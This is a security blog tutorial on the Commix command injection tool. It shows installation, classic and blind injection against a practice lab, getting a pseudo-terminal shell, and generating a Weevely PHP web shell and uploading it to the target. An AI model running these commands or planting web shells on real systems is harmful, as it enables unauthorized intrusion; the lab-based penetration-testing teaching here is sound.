Tuesday, May 28, 2024

Commix – Automated All-in-One OS Command Injection and Exploitation Tool

Commix (short for [comm]and [i]njection e[x]ploiter) has a simple environment and it can be used, by web developers, penetration testers, or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks.

By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or string. It is written in Python programming language.

Requirements and Installation

Requires version 2.6.x and above to run this tool, it can be downloaded from the GitHub.

root@kali:~# git clone https://github.com/commixproject/commix.git

Also, can be installed through Ubuntu’s APT (Advanced Packaging Tool)

root@kali:~# apt-get install commix

Supported Platforms

  • Linux
  • Mac OS X
  • Windows (experimental)

Classic Injection

Step1: Download and mount the Pentester lab exercise Web for Pentester and then you can reach the labs from your Kali machine browser Ex:

Step 2: You can find command line Injection exercises.

Commix – Automated All-in-One OS Command Injection and Exploitation Tool

Step 3: Now in Kali type commix and copy the path for example 1.

INJECT_HERE – It will try to inject various queries here.

root@kali:~# commix –url=””
Commix – Automated All-in-One OS Command Injection and Exploitation Tool
                                                               Injection attack

It checks for various payloads and successful with Payload: ;echo WIBYAT$((24+78))$(echo WIBYAT)WIBYAT.

Then it asks to connect with a terminal shell Do you want a Pseudo-Terminal shell? [Y/n/q] > By pressing “y” we can get the terminal access for the machine.

Blind Injection

commix –url=”″ –os=U –technique=”tf” -v 1
Commix – Automated All-in-One OS Command Injection and Exploitation Tool
                                                      Blind Injection

Injecting Weevely PHP web shell

Step 1: Create a payload with weevely, if weevely is not installed you can use apt-get install weevely.

Step 2: Launch weevely and generate a PHP web shell.

root@kali:~# weevelyroot@kali:~# weevely generate commix /root/Desktop/Commix/shellexploit.php
Commix – Automated All-in-One OS Command Injection and Exploitation Tool
PHP Shell with Weevely

Step 3: To upload the file in the remote host, use the following command.

–file-write  = File to write in the destination host

–file-dest  = Filepath to write or Upload

commix –url=”” –file-write=’/root/Desktop/Commix/shellexploit.php’ –file-dest=”/var/www/upload/images/”

Also Read:


Latest articles

GNOME Remote Desktop Vulnerability Let Attackers Read Login Credentials

GNOME desktop manager was equipped with a new feature which allowed remote users to...

Kesakode: A Remote Hash Lookup Service To Identify Malware Samples

Today marks a significant milestone for Malcat users with the release of version 0.9.6,...

Cisco Firepower Vulnerability Let Attackers Launch SQL Injection Attacks

 A critical vulnerability has been identified in Cisco Firepower Management Center (FMC) Software's web-based...

Hackers Exploit WordPress Plugin to Steal Credit Card Data

Hackers have exploited an obscure WordPress plugin to inject malware into websites, specifically targeting...

Google Patches Chrome Zero-Day: Type Confusion in V8 JavaScript

Google has released a patch for a zero-day exploit in its Chrome browser.The...

Hackers Created Rogue VMs in Recent MITRE’s Cyber Attack

State-sponsored hackers recently exploited vulnerabilities in MITRE's Networked Experimentation, Research, and Virtualization Environment (NERVE).They...

Hackers Weaponizing Microsoft Access Documents To Execute Malicious Program

In multiple aggressive phishing attempts, the financially motivated organization UAC-0006 heavily targeted Ukraine, utilizing...
Guru baran
Guru baranhttps://gbhackers.com
Gurubaran is a co-founder of Cyber Security News and GBHackers On Security. He has 10+ years of experience as a Security Consultant, Editor, and Analyst in cybersecurity, technology, and communications.

Free Webinar

Live API Attack Simulation

94% of organizations experience security problems in production APIs, and one in five suffers a data breach. As a result, cyber-attacks on APIs increased from 35% in 2022 to 46% in 2023, and this trend continues to rise.
Key takeaways include:

  • An exploit of OWASP API Top 10 vulnerability
  • A brute force ATO (Account Takeover) attack on API
  • A DDoS attack on an API
  • Positive security model automation to prevent API attacks

Related Articles